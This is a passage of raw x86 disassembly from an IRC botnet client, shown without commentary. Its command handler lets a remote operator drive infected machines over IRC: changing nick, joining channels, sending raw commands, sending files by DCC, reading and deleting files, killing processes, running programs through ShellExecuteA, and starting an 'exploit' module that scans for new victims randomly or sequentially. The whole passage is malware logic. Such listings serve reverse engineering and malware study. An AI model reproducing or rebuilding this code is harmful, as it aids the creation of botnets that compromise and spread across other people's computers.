134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_410660 loc_41064E: ; CODE XREF: sub_40CC09+3A55j cmp [ebp+var_468], ebx jnz short loc_410690 push 32h call ds:dword_41F050 ; Sleep jmp short loc_41064E ; --------------------------------------------------------------------------- loc_410660: ; CODE XREF: sub_40CC09+3A43j call ds:off_41F06C push eax push offset a_e_1_0bUpdat_0 ; ".e.(1.0b) ( update.m.d.l ) .. Failed"... loc_41066C: ; CODE XREF: sub_40CC09+40FEj ; sub_40CC09+4334j ... lea eax, [ebp+var_1C4] push eax call sub_413812 loc_410678: ; CODE XREF: sub_40CC09+4CC6j add esp, 0Ch jmp short loc_410690 ; --------------------------------------------------------------------------- loc_41067D: ; CODE XREF: sub_40CC09+3909j push offset a_e_1_0bUpdat_1 ; ".e.(1.0b) ( update.m.d.l ) .. Bot ID"... loc_410682: ; CODE XREF: sub_40CC09+1C12j ; sub_40CC09+1C96j ... lea eax, [ebp+var_1C4] push eax call sub_413812 pop ecx pop ecx loc_410690: ; CODE XREF: sub_40CC09+1C1Aj ; sub_40CC09+1C74j ... cmp [ebp+var_8], ebx jnz short loc_4106B1 push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 14h loc_4106B1: ; CODE XREF: sub_40CC09+3A8Aj ; sub_40CC09+40F3j ... mov esi, [ebp+arg_24] jmp loc_41045A ; --------------------------------------------------------------------------- loc_4106B9: ; CODE XREF: sub_40CC09+20CDj ; sub_40CC09+20E4j push [ebp+var_90] push offset dword_434504 call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40CFCD cmp [ebp+var_C], ebx jz loc_40CFCD push [ebp+arg_18] push [ebp+var_C] call sub_413DE0 push eax lea eax, [ebp+var_1C4] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset aSSSS ; "%s %s %s :%s" push eax call sub_413812 lea eax, [ebp+var_1C4] push 1FFh push eax push [ebp+arg_0] call sub_415140 push edi call sub_413D7F add esp, 30h test eax, eax jle short loc_410740 push edi call sub_413D7F imul eax, 3E8h pop ecx push eax call ds:dword_41F050 ; Sleep loc_410740: ; CODE XREF: sub_40CC09+3B21j push offset a_e_1_0bEnz_m_7 ; ".e.(1.0b) ( enz.m.d.l ) .. Delay." call sub_409833 mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40CFD0 ; --------------------------------------------------------------------------- loc_410754: ; CODE XREF: sub_40CC09+209Fj ; sub_40CC09+20B6j push [ebp+var_90] push offset dword_434504 call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40CFCD cmp [ebp+var_C], ebx jz loc_41217B push [ebp+arg_18] push [ebp+var_C] call sub_413DE0 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_413C30 add esp, 10h test eax, eax push esi jz short loc_410810 push [ebp+var_8C] lea eax, [ebp+var_1C4] push [ebp+var_90] push [ebp+var_94] push offset aSSSS ; "%s %s %s :%s" push eax call sub_413812 lea eax, [ebp+var_1C4] push 0FEh push eax push [ebp+arg_0] call sub_415140 push esi lea eax, [ebp+var_1C4] push offset a_e_1_0bEnz_m_8 ; ".e.(1.0b) ( enz.m.d.l ) .. Repeat: %"... push eax call sub_413812 lea eax, [ebp+var_1C4] push eax call sub_409833 push edi call sub_413D7F add esp, 38h test eax, eax jle loc_41217B push edi call sub_413D7F add eax, [ebp+arg_24] pop ecx jmp loc_40CFD0 ; --------------------------------------------------------------------------- loc_410810: ; CODE XREF: sub_40CC09+3B90j push offset a_e_1_0bEnz_m_9 ; ".e.(1.0b) ( enz.m.d.l ) .. Repeat no"... jmp loc_40F1A3 ; --------------------------------------------------------------------------- loc_41081A: ; CODE XREF: sub_40CC09+2071j ; sub_40CC09+2088j push [ebp+arg_18] lea eax, [ebp+var_1C4] push offset aPartS ; "PART %s" push eax call sub_413812 push edi call sub_413D7F add esp, 10h loc_410837: ; CODE XREF: sub_40CC09+3C98j test eax, eax jle loc_41217B push edi call sub_413D7F cmp eax, 2710h pop ecx jge loc_41217B loc_410851: ; CODE XREF: sub_40CC09+445Dj lea eax, [ebp+var_1C4] push eax push offset aS_5 ; "%s\r\n" push edi call sub_413D7F imul eax, 134h pop ecx push dword_452134[eax] call sub_40B26F loc_410875: ; CODE XREF: sub_40CC09+5319j add esp, 0Ch jmp loc_41217B ; --------------------------------------------------------------------------- loc_41087D: ; CODE XREF: sub_40CC09+2043j ; sub_40CC09+205Aj push [ebp+esi+var_88] lea eax, [ebp+var_1C4] push [ebp+arg_18] push offset aJoinSS_0 ; "JOIN %s %s" push eax call sub_413812 push edi call sub_413D7F add esp, 14h jmp short loc_410837 ; --------------------------------------------------------------------------- loc_4108A3: ; CODE XREF: sub_40CC09+2015j ; sub_40CC09+202Cj push [ebp+arg_18] lea eax, [ebp+var_1C4] push offset aNickS_0 ; "NICK %s" push eax call sub_413812 push edi call sub_413D7F add esp, 10h test eax, eax jle loc_41217B push edi call sub_413D7F cmp eax, 2710h pop ecx jge loc_41217B lea eax, [ebp+var_1C4] push eax push offset aS_5 ; "%s\r\n" push edi call sub_413D7F imul eax, 134h pop ecx push dword_452134[eax] call sub_40B26F push [ebp+arg_18] push edi push offset a_e_1_0bClone_m ; ".e.(1.0b) ( clone.m.d.l ) .. Nick (%"... loc_410907: ; CODE XREF: sub_40CC09+3D88j ; sub_40CC09+3DF3j ... call sub_4098A7 loc_41090C: ; CODE XREF: sub_40CC09+4FE9j add esp, 18h jmp loc_41217B ; --------------------------------------------------------------------------- loc_410914: ; CODE XREF: sub_40CC09+1FE7j ; sub_40CC09+1FFEj cmp [ebp+var_C], ebx jz loc_41217B push [ebp+arg_18] push [ebp+var_C] call sub_413DE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_410945 push esi lea eax, [ebp+var_1C4] push offset aModeS ; "MODE %s" push eax call sub_413812 add esp, 0Ch loc_410945: ; CODE XREF: sub_40CC09+3D25j push edi call sub_413D7F test eax, eax pop ecx jle loc_41217B push edi call sub_413D7F cmp eax, 2710h pop ecx jge loc_41217B lea eax, [ebp+var_1C4] push eax push offset aS_5 ; "%s\r\n" push edi call sub_413D7F imul eax, 134h pop ecx push dword_452134[eax] call sub_40B26F push esi push edi push offset a_e_1_0bClone_1 ; ".e.(1.0b) ( clone.m.d.l ) .. Mode (%"... jmp loc_410907 ; --------------------------------------------------------------------------- loc_410996: ; CODE XREF: sub_40CC09+1FB9j ; sub_40CC09+1FD0j cmp [ebp+var_C], ebx jz loc_41217B push [ebp+arg_18] push [ebp+var_C] call sub_413DE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41217B push edi call sub_413D7F test eax, eax pop ecx jle loc_41217B push edi call sub_413D7F cmp eax, 2710h pop ecx jge loc_41217B push esi push offset aS_5 ; "%s\r\n" push edi call sub_413D7F imul eax, 134h pop ecx push dword_452134[eax] call sub_40B26F push esi push edi push offset a_e_1_0bClone_2 ; ".e.(1.0b) ( clone.m.d.l ) .. Raw (%s"... jmp loc_410907 ; --------------------------------------------------------------------------- loc_410A01: ; CODE XREF: sub_40CC09+1F8Bj ; sub_40CC09+1FA2j cmp [ebp+var_C], ebx jz loc_41217B push edi push [ebp+var_C] call sub_413DE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41217B push esi push offset aModeS_0 ; "MODE %s\r\n" push [ebp+arg_4] call sub_40B26F push esi push offset a_e_1_0bEnz__10 ; ".e.(1.0b) ( enz.m.d.l ) .. Mode chan"... loc_410A33: ; CODE XREF: sub_40CC09+4611j ; sub_40CC09+462Aj ... call sub_4098A7 loc_410A38: ; CODE XREF: sub_40CC09+3E98j add esp, 14h jmp loc_41217B ; --------------------------------------------------------------------------- loc_410A40: ; CODE XREF: sub_40CC09+1F5Dj ; sub_40CC09+1F74j push [ebp+var_90] push offset dword_434504 call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40CFCD push [ebp+arg_18] push offset aPartS_0 ; "PART %s\r\n" push [ebp+arg_4] call sub_40B26F push edi call sub_413D7F imul eax, 3E8h add esp, 10h push eax call ds:dword_41F050 ; Sleep push [ebp+esi+var_88] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40B26F push offset a_e_1_0bEnz__11 ; ".e.(1.0b) ( enz.m.d.l ) .. Cycle." call sub_409833 jmp short loc_410A38 ; --------------------------------------------------------------------------- loc_410AA3: ; CODE XREF: sub_40CC09+1F2Fj ; sub_40CC09+1F46j cmp [ebp+var_C], ebx jz loc_41217B push edi call sub_413E90 push [ebp+arg_8] mov esi, eax call sub_413E90 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_413DE0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_41217B push esi lea eax, [ebp+var_1C4] push offset dword_432F38 push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push ebx push eax push edi push [ebp+arg_4] call sub_40B2B5 push esi push edi push offset a_e_1_0bEnz__12 ; ".e.(1.0b) ( enz.m.d.l ) .. Action: %"... call sub_4098A7 add esp, 2Ch jmp loc_41217B ; --------------------------------------------------------------------------- loc_410B11: ; CODE XREF: sub_40CC09+1F01j ; sub_40CC09+1F18j cmp [ebp+var_C], ebx jz loc_41217B push edi call sub_413E90 push [ebp+arg_8] mov esi, eax call sub_413E90 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_413DE0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_41217B push ebx push ebx push esi push edi push [ebp+arg_4] call sub_40B2B5 push esi push edi push offset a_e_1_0bEnz__13 ; ".e.(1.0b) ( enz.m.d.l ) .. Privmsg: "... call sub_4098A7 jmp loc_40F7DE ; --------------------------------------------------------------------------- loc_410B64: ; CODE XREF: sub_40CC09+1ED3j ; sub_40CC09+1EEAj cmp [ebp+var_C], ebx jz loc_40CFCD push [ebp+arg_18] push [ebp+var_C] call sub_413DE0 pop ecx cmp eax, ebx pop ecx jz loc_40CFCD push eax push edi call sub_40973B push edi lea eax, [ebp+var_1C4] push offset a_e_1_0bEnz__14 ; ".e.(1.0b) ( enz.m.d.l ) .. Alias add"... push eax call sub_413812 add esp, 14h jmp loc_411957 ; --------------------------------------------------------------------------- loc_410BA3: ; CODE XREF: sub_40CC09+1E93j ; sub_40CC09+1EAAj push edi push [ebp+arg_1C] call sub_413DE0 pop ecx test eax, eax pop ecx jz loc_41217B mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_410C40 push esi push [ebp+var_C] call sub_413DE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_410C28 push esi lea eax, [ebp+var_1C4] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset aSSSS ; "%s %s %s :%s" push eax call sub_413812 lea eax, [ebp+var_1C4] push 0FEh push eax push [ebp+arg_0] call sub_415140 push esi push edi lea eax, [ebp+var_1C4] push offset a_e_1_0bEnz__15 ; ".e.(1.0b) ( enz.m.d.l ) .. Gethost: "... push eax call sub_413812 add esp, 34h inc [ebp+arg_24] jmp loc_411E05 ; --------------------------------------------------------------------------- loc_410C28: ; CODE XREF: sub_40CC09+3FC7j lea eax, [ebp+var_1C4] push offset a_e_1_0bEnz__16 ; ".e.(1.0b) ( enz.m.d.l ) .. Unable to"... push eax call sub_413812 pop ecx pop ecx jmp loc_411E05 ; --------------------------------------------------------------------------- loc_410C40: ; CODE XREF: sub_40CC09+3FB6j push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_409675 add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 push edi push offset a_e_1_0bEnz__17 ; ".e.(1.0b) ( enz.m.d.l ) .. Gethost: "... lea eax, [ebp+var_1C4] push 0FFh push eax call sub_413D8A add esp, 24h jmp loc_411E05 ; --------------------------------------------------------------------------- loc_410C87: ; CODE XREF: sub_40CC09+1A7Cj ; sub_40CC09+1A93j push offset aR ; "r" push edi call sub_414F8F mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_410D01 mov ebx, 0FFh push esi lea eax, [ebp+var_1C4] push ebx push eax call sub_415D5E add esp, 0Ch loc_410CB0: ; CODE XREF: sub_40CC09+40D6j test eax, eax jz short loc_410CE1 push 1 lea eax, [ebp+var_1C4] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 push esi lea eax, [ebp+var_1C4] push ebx push eax call sub_415D5E add esp, 20h jmp short loc_410CB0 ; --------------------------------------------------------------------------- loc_410CE1: ; CODE XREF: sub_40CC09+40A9j push esi call sub_414E31 push edi lea eax, [ebp+var_1C4] push offset a_e_1_0bEnz__18 ; ".e.(1.0b) ( enz.m.d.l ) .. Read file"... push eax call sub_413812 add esp, 10h jmp loc_4106B1 ; --------------------------------------------------------------------------- loc_410D01: ; CODE XREF: sub_40CC09+408Fj push edi push offset a_e_1_0bEnz__19 ; ".e.(1.0b) ( enz.m.d.l ) .. Read file"... jmp loc_41066C ; --------------------------------------------------------------------------- loc_410D0C: ; CODE XREF: sub_40CC09+1A4Ej ; sub_40CC09+1A65j cmp [ebp+var_C], ebx jz loc_41217B push edi push [ebp+var_C] call sub_413DE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41217B push offset asc_4253FC ; "\n" push esi call sub_414FC0 push esi call sub_408ED5 add esp, 0Ch test eax, eax jnz short loc_410D4C push offset a_e_1_0bCmd_m_d ; ".e.(1.0b) ( cmd.m.d.l ) .. Error sen"... jmp loc_410FA9 ; --------------------------------------------------------------------------- loc_410D4C: ; CODE XREF: sub_40CC09+4137j push esi push offset a_e_1_0bCmd_m_0 ; ".e.(1.0b) ( cmd.m.d.l ) .. Commands:"... jmp loc_411DF6 ; --------------------------------------------------------------------------- loc_410D57: ; CODE XREF: sub_40CC09+1A20j ; sub_40CC09+1A37j cmp [ebp+var_C], ebx jz loc_41217B push edi push [ebp+var_C] call sub_413DE0 pop ecx cmp eax, ebx pop ecx jz loc_41217B push eax call sub_4085B9 test eax, eax pop ecx jnz short loc_410D88 push offset a_e_1_0bMirc_m_ ; ".e.(1.0b) ( mirc.m.d.l ) .. Client n"... jmp loc_410FA9 ; --------------------------------------------------------------------------- loc_410D88: ; CODE XREF: sub_40CC09+4173j push offset a_e_1_0bMirc__0 ; ".e.(1.0b) ( mirc.m.d.l ) .. Command "... jmp loc_410FA9 ; --------------------------------------------------------------------------- loc_410D92: ; CODE XREF: sub_40CC09+19F2j ; sub_40CC09+1A09j push ebx push [ebp+var_8C] push [ebp+arg_4] push edi call sub_40517E push edi push offset a_e_1_0bFile__1 ; ".e.(1.0b) ( file.m.d.l ) .. List: %s"... jmp loc_410907 ; --------------------------------------------------------------------------- loc_410DAD: ; CODE XREF: sub_40CC09+19C4j ; sub_40CC09+19DBj push 14h lea eax, [ebp+var_610] push ebx push eax call sub_413890 push edi lea eax, [ebp+var_5FC] push offset aS_2 ; "%s" push eax call sub_413812 mov eax, [ebp+arg_4] mov [ebp+var_618], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_4F8] push 80h push eax call sub_413D8A mov eax, [ebp+var_4] mov [ebp+var_470], eax mov eax, [ebp+var_8] mov [ebp+var_46C], eax lea eax, [ebp+var_4F8] push eax lea eax, [ebp+var_5FC] push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bDcc_m_6 ; ".e.(1.0b) ( dcc.m.d.l ) .. Send File"... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 12h push eax call sub_4132BE add esp, 40h mov [ebp+var_474], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_618] push ebx push eax push offset sub_409DBE push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_474] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_410E7D loc_410E67: ; CODE XREF: sub_40CC09+4272j cmp [ebp+var_468], ebx jnz loc_411B4A push 32h call ds:dword_41F050 ; Sleep jmp short loc_410E67 ; --------------------------------------------------------------------------- loc_410E7D: ; CODE XREF: sub_40CC09+425Cj call ds:off_41F06C push eax push offset a_e_1_0bDcc_m_0 ; ".e.(1.0b) ( dcc.m.d.l ) .. Failed to"... jmp loc_411B3B ; --------------------------------------------------------------------------- loc_410E8E: ; CODE XREF: sub_40CC09+1996j ; sub_40CC09+19ADj push edi call ds:off_41F118 test eax, eax jz short loc_410EA1 push edi push offset a_e_1_0bFile__2 ; ".e.(1.0b) ( file.m.d.l ) .. Deleted "... jmp short loc_410EAC ; --------------------------------------------------------------------------- loc_410EA1: ; CODE XREF: sub_40CC09+428Ej push offset a_e_1_0bFile__0 ; ".e.(1.0b) ( file.m.d.l ) .. " call sub_4084F4 push eax loc_410EAC: ; CODE XREF: sub_40CC09+4296j lea eax, [ebp+var_1C4] push 0FFh push eax call sub_413D8A add esp, 10h jmp loc_410690 ; --------------------------------------------------------------------------- loc_410EC5: ; CODE XREF: sub_40CC09+1968j ; sub_40CC09+197Fj push edi call sub_413D7F push eax call sub_4126C5 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_410EE2 push offset a_e_1_0bProce_1 ; ".e.(1.0b) ( process.m.d.l ) .. Proce"... jmp short loc_410EE7 ; --------------------------------------------------------------------------- loc_410EE2: ; CODE XREF: sub_40CC09+42D0j push offset a_e_1_0bProce_2 ; ".e.(1.0b) ( process.m.d.l ) .. Faile"... loc_410EE7: ; CODE XREF: sub_40CC09+42D7j lea eax, [ebp+var_1C4] push eax call sub_413812 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_41045A push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 14h jmp loc_41045A ; --------------------------------------------------------------------------- loc_410F20: ; CODE XREF: sub_40CC09+193Aj ; sub_40CC09+1951j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4123B8 add esp, 18h cmp eax, 1 push edi jnz short loc_410F42 push offset a_e_1_0bProce_3 ; ".e.(1.0b) ( process.m.d.l ) .. Proce"... jmp loc_41066C ; --------------------------------------------------------------------------- loc_410F42: ; CODE XREF: sub_40CC09+432Dj push offset a_e_1_0bProce_4 ; ".e.(1.0b) ( process.m.d.l ) .. Faile"... jmp loc_41066C ; --------------------------------------------------------------------------- loc_410F4C: ; CODE XREF: sub_40CC09+190Cj ; sub_40CC09+1923j push edi call dword_44CD18 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_410F89 push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_44CC98 ; gethostbyaddr cmp eax, ebx jz short loc_410FA4 push dword ptr [eax] loc_410F6F: ; CODE XREF: sub_40CC09+4399j push edi lea eax, [ebp+var_1C4] push offset a_e_1_0bDns_m_d ; ".e.(1.0b) ( dns.m.d.l ) .. Lookup: %"... push eax call sub_413812 add esp, 10h jmp loc_40F1B2 ; --------------------------------------------------------------------------- loc_410F89: ; CODE XREF: sub_40CC09+4350j push edi call dword_44CD5C ; gethostbyname cmp eax, ebx jz short loc_410FA4 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_44CD64 ; inet_ntoa push eax jmp short loc_410F6F ; --------------------------------------------------------------------------- loc_410FA4: ; CODE XREF: sub_40CC09+4362j ; sub_40CC09+4389j push offset a_e_1_0bDns_m_0 ; ".e.(1.0b) ( dns.m.d.l ) .. Couldn't "... loc_410FA9: ; CODE XREF: sub_40CC09+38E8j ; sub_40CC09+413Ej ... lea eax, [ebp+var_1C4] push eax call sub_413812 pop ecx pop ecx jmp loc_40F1B2 ; --------------------------------------------------------------------------- loc_410FBC: ; CODE XREF: sub_40CC09+18DEj ; sub_40CC09+18F5j push 7Fh push edi push [ebp+arg_14] call sub_415140 push edi lea eax, [ebp+var_1C4] push offset a_e_1_0bEnz__20 ; ".e.(1.0b) ( enz.m.d.l ) .. Server ch"... push eax call sub_413812 add esp, 18h jmp loc_410436 ; --------------------------------------------------------------------------- loc_410FE1: ; CODE XREF: sub_40CC09+18B0j ; sub_40CC09+18C7j push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_44CC5C ; ShellExecuteA test eax, eax push edi jz short loc_411001 push offset a_e_1_0bShell_m ; ".e.(1.0b) ( shell.m.d.l ) .. File op"... jmp loc_41066C ; --------------------------------------------------------------------------- loc_411001: ; CODE XREF: sub_40CC09+43ECj push offset a_e_1_0bShell_0 ; ".e.(1.0b) ( shell.m.d.l ) .. Couldn'"... jmp loc_41066C ; --------------------------------------------------------------------------- loc_41100B: ; CODE XREF: sub_40CC09+1882j ; sub_40CC09+1899j mov al, [edi] mov byte_42A334, al movsx eax, byte ptr [edi] push eax push offset a_e_1_0bEnz__21 ; ".e.(1.0b) ( enz.m.d.l ) .. Prefix ch"... jmp loc_4120F8 ; --------------------------------------------------------------------------- loc_411020: ; CODE XREF: sub_40CC09+1854j ; sub_40CC09+186Bj push edi call sub_413D7F test eax, eax pop ecx jle loc_41217B push edi call sub_413D7F cmp eax, 2710h pop ecx jge loc_41217B push ebx push ebx lea eax, [ebp+var_A4] push 2 push eax call sub_412AB7 push eax lea eax, [ebp+var_1C4] push offset aNickS_0 ; "NICK %s" push eax call sub_413812 add esp, 1Ch jmp loc_410851 ; --------------------------------------------------------------------------- loc_41106B: ; CODE XREF: sub_40CC09+1826j ; sub_40CC09+183Dj push edi call sub_413D7F test eax, eax pop ecx jle loc_40CFCD push edi call sub_413D7F cmp eax, 2710h pop ecx jge loc_40CFCD push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_413D7F imul eax, 134h pop ecx push dword_452134[eax] call sub_40B26F pop ecx pop ecx push 1F4h call ds:dword_41F050 ; Sleep push edi call sub_413D7F imul eax, 134h pop ecx push dword_452134[eax] call dword_44CD70 ; closesocket push [ebp+var_10] push edi call sub_413D7F imul eax, 134h pop ecx push dword_45213C[eax] call ds:off_41F130 push edi call sub_413D7F imul eax, 134h push edi mov dword_45213C[eax], ebx call sub_413D7F imul eax, 134h pop ecx pop ecx mov byte ptr dword_452028[eax], bl jmp loc_40CFCD ; --------------------------------------------------------------------------- loc_411116: ; CODE XREF: sub_40CC09+17F8j ; sub_40CC09+180Fj push edi push offset off_4321D4 call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_411154 call sub_413487 cmp eax, ebx jle short loc_41114A push eax push offset a_e_1_0bThreads ; ".e.(1.0b) ( threads.m.d.l ) .. Stopp"... loc_411136: ; CODE XREF: sub_40CC09+2638j ; sub_40CC09+291Aj ... lea eax, [ebp+var_1C4] push eax call sub_413812 add esp, 0Ch jmp loc_411957 ; --------------------------------------------------------------------------- loc_41114A: ; CODE XREF: sub_40CC09+4525j push offset a_e_1_0bThrea_0 ; ".e.(1.0b) ( threads.m.d.l ) .. No ac"... jmp loc_411949 ; --------------------------------------------------------------------------- loc_411154: ; CODE XREF: sub_40CC09+451Cj mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_40CFCD lea eax, [ebp+edi*4+var_94] mov [ebp+arg_24], eax loc_411170: ; CODE XREF: sub_40CC09+45D8j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_40CFCD push esi call sub_413D7F push eax call sub_4133F9 pop ecx pop ecx test eax, eax push esi jz short loc_411197 push offset a_e_1_0bThrea_1 ; ".e.(1.0b) ( threads.m.d.l ) .. Kille"... jmp short loc_41119C ; --------------------------------------------------------------------------- loc_411197: ; CODE XREF: sub_40CC09+4585j push offset a_e_1_0bThrea_2 ; ".e.(1.0b) ( threads.m.d.l ) .. Faile"... loc_41119C: ; CODE XREF: sub_40CC09+458Cj lea eax, [ebp+var_1C4] push eax call sub_413812 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4111CC push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 14h loc_4111CC: ; CODE XREF: sub_40CC09+45A5j lea eax, [ebp+var_1C4] push eax call sub_409833 add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_411170 jmp loc_40CFCD ; --------------------------------------------------------------------------- loc_4111E8: ; CODE XREF: sub_40CC09+17CAj ; sub_40CC09+17E1j cmp [ebp+var_C], ebx jz loc_41217B push edi push [ebp+var_C] call sub_413DE0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41217B push esi push offset aS_5 ; "%s\r\n" push [ebp+arg_4] call sub_40B26F push esi push offset a_e_1_0bEnz__22 ; ".e.(1.0b) ( enz.m.d.l ) .. IRC Raw: "... jmp loc_410A33 ; --------------------------------------------------------------------------- loc_41121F: ; CODE XREF: sub_40CC09+179Cj ; sub_40CC09+17B3j push edi push offset aPartS_0 ; "PART %s\r\n" push [ebp+arg_4] call sub_40B26F push edi push offset a_e_1_0bEnz__23 ; ".e.(1.0b) ( enz.m.d.l ) .. Parted ch"... jmp loc_410A33 ; --------------------------------------------------------------------------- loc_411238: ; CODE XREF: sub_40CC09+176Ej ; sub_40CC09+1785j push [ebp+esi+var_8C] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40B26F push edi push offset a_e_1_0bEnz__24 ; ".e.(1.0b) ( enz.m.d.l ) .. Joined ch"... jmp loc_410907 ; --------------------------------------------------------------------------- loc_411258: ; CODE XREF: sub_40CC09+1740j ; sub_40CC09+1757j push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40B26F push edi push offset a_e_1_0bEnz__25 ; ".e.(1.0b) ( enz.m.d.l ) .. Nick chan"... jmp loc_410A33 ; --------------------------------------------------------------------------- loc_411271: ; CODE XREF: sub_40CC09+1705j ; sub_40CC09+171Aj mov al, byte_7420EA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_7420EA jz loc_40CFCD mov ecx, edx loc_411288: ; CODE XREF: sub_40CC09+4687j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_411288 cmp al, bl jz loc_40CFCD mov [ebp+arg_18], edx loc_41129D: ; CODE XREF: sub_40CC09+4952j push 8 call sub_413506 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 100h jle short loc_4112EC push ecx lea eax, [ebp+var_1C4] push offset a_e_1_0bExploit ; ".e.(1.0b) ( exploit.m.d.l ) .. Alrea"... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 20h jmp loc_411552 ; --------------------------------------------------------------------------- loc_4112EC: ; CODE XREF: sub_40CC09+46AEj or [ebp+var_200], 0FFFFFFFFh cmp dword_425A58, ebx mov [ebp+var_204], 1Eh mov [ebp+var_218], 7 mov [ebp+var_214], 0B4h mov [ebp+arg_0], ebx jz short loc_41135D mov eax, [ebp+arg_18] mov edi, offset dword_425A58 lea esi, [eax-0Ah] loc_411327: ; CODE XREF: sub_40CC09+4736j lea eax, [edi-28h] push esi push eax call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_411343 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_411327 jmp short loc_41135D ; --------------------------------------------------------------------------- loc_411343: ; CODE XREF: sub_40CC09+472Cj mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_200], eax imul ecx, 3Ch mov ecx, dword_425A58[ecx] mov [ebp+var_21C], ecx loc_41135D: ; CODE XREF: sub_40CC09+4711j ; sub_40CC09+4738j cmp [ebp+var_21C], ebx jz loc_411566 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_1D8] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_44CC84 ; getsockname mov al, [ebp+var_8B3] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_1D4], eax push [ebp+var_1D4] call dword_44CD64 ; inet_ntoa push eax lea eax, [ebp+var_330] push eax call sub_415140 xor eax, eax cmp [ebp+var_8B3], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_330] push eax call sub_415440 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_4113FF loc_4113DD: ; CODE XREF: sub_40CC09+47F4j cmp eax, ebx jz short loc_4113FF mov byte ptr [eax], 78h lea eax, [ebp+var_330] push 30h push eax call sub_415440 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4113DD loc_4113FF: ; CODE XREF: sub_40CC09+47D2j ; sub_40CC09+47D6j mov eax, [ebp+arg_4] push [ebp+var_8C] mov esi, [ebp+var_4] mov [ebp+var_220], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_1F4], eax lea eax, [ebp+var_320] push eax mov [ebp+var_1F0], 1 mov [ebp+var_1F8], esi call sub_413D8A mov edi, offset off_42A3DC push offset byte_438A10 push edi call sub_413C30 add esp, 14h test eax, eax jz short loc_411469 push edi lea eax, [ebp+var_2A0] push 80h push eax call sub_413D8A add esp, 0Ch jmp short loc_41146F ; --------------------------------------------------------------------------- loc_411469: ; CODE XREF: sub_40CC09+4847j mov [ebp+var_2A0], bl loc_41146F: ; CODE XREF: sub_40CC09+485Ej cmp [ebp+var_1F0], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_411481 mov eax, offset aSequential ; "Sequential" loc_411481: ; CODE XREF: sub_40CC09+4871j push [ebp+var_204] lea ecx, [ebp+var_330] push [ebp+var_214] push [ebp+var_218] push [ebp+var_21C] push ecx push eax lea eax, [ebp+var_1C4] push 